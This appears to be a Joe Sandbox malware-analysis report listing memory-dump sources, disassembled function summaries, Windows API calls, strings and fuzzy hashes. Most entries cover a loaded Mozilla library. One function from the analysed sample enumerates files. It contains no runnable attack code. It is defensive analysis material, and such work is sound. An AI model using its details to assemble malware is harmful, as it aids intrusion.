Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 15d3d8e2fa43bc351108aa6be6f1129f6df3705f3c206c80e8b744b338dfd64e
Instruction ID: 51372172abb85f2419102cb43360e86d3c6963aefc7a0e15ad020c86e5aba865
Opcode Fuzzy Hash: 15d3d8e2fa43bc351108aa6be6f1129f6df3705f3c206c80e8b744b338dfd64e
Instruction Fuzzy Hash: 3E01E830A44108EFCB14CF98C58D7ACBBB1AF04308F28C088D9096B350C7795E84DB89

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
GeckoMain, xrefs: 6C665554, 6C6655D5
[I %d/%d] profiler_init, xrefs: 6C66564E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

(, xrefs: 6C66768A
wintrust.dll, xrefs: 6C6672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
SHA256, xrefs: 6C666EC0

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MALLOC_OPTIONS, xrefs: 6C6935FE
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: d12e305661fc1758390159640227a6e7aac999ca07f75e5aeef9eefb7030cd22
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: d12e305661fc1758390159640227a6e7aac999ca07f75e5aeef9eefb7030cd22
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
_etoured.dll, xrefs: 6C6664ED
nvdxgiwrap.dll, xrefs: 6C666513
detoured.dll, xrefs: 6C6664DA
nvd3d9wrap.dll, xrefs: 6C666500
user32.dll, xrefs: 6C666526

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 000738B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 000738CC
FindFirstFileA.KERNEL32(?,?), ref: 000738E3
lstrcat.KERNEL32(?,?), ref: 00073935
StrCmpCA.SHLWAPI(?,00080F70), ref: 00073947
StrCmpCA.SHLWAPI(?,00080F74), ref: 0007395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00073C67
FindClose.KERNEL32(000000FF), ref: 00073C7C

Strings

%s\%s, xrefs: 00073A6F
%s\%s\%s, xrefs: 00073A4A
%s%s, xrefs: 00073AAD
%s\*, xrefs: 000738C0
%s\%s, xrefs: 0007397A

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
